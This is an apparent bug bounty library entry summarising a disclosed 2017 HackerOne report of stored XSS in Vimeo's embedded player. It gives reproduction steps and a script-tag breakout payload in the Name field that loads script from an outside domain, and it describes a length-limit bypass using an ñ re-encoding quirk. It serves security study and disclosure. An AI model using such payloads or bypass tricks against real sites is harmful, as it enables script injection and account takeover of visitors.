# Stored XSS on player.vimeo.com

Vimeo embedded player printed the video owner's Name into a JS context without escaping <, >, /, allowing stored XSS via a crafted 32-char name.

- Payout: hidden
- Severity: high
- Program: Vimeo
- Found by: stefanovettorazzi
- Disclosed: 2017-08-31
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/85488
- Library page: https://bugbountylibrary.com/r/h1%3A85488
- Tags: area:web domain:web impact:ato kind:bounty platform:hackerone sev:high technique:unicode-normalization vuln:xss

**Target:** player.vimeo.com embedded video player
**Root cause:** The embedded player page interpolated the video owner's Name into a JavaScript context, escaping quotes but not `<`, `>`, or `/`, so a name containing `</script><script src=...>` broke out of the script block.
**Steps:**
1. Go to `https://vimeo.com/settings`.
2. Set Name to `</script><script src=/ñ.xyz>`.
3. Click Save Changes.
4. Upload a video and note its numeric ID from the URL, e.g. `https://vimeo.com/137669589`.
5. Visit `https://player.vimeo.com/video/[numeric_id]`.
6. Observe content from `https://u00f1.xyz` loads and `alert(document.domain)` executes.
**How found:** Noticed the player page prints the owner Name in a JS context and that only quotes were escaped while `<`, `>`, `/` were not; then found the `ñ`→`\u00f1` rendering quirk to fit a working payload within the 32-char name limit.
**Exploitation:** Attacker sets a 32-char Name containing a script-tag breakout pointing at their domain; any visitor to the public video's embedded player loads attacker JS in the player.vimeo.com origin. The 32-char limit is bypassed because `ñ` renders as `ñ` and Chrome/Safari treat `/ñ` as `//u00f1`, yielding a valid protocol-relative URL.
**Insight:** When a length limit blocks a payload, look for characters that get re-encoded in the output (e.g. `ñ`→`\u00f1`) and exploit browser URL parsing quirks like `/<unicode>` collapsing to `//` to smuggle a protocol-relative URL.

## Proof of concept (copied exactly from the original report)

**XSS payload in Name field**

```
For _Name_ enter `</script><script src=/ñ.xyz>`.
3. Click _Save Changes_.
```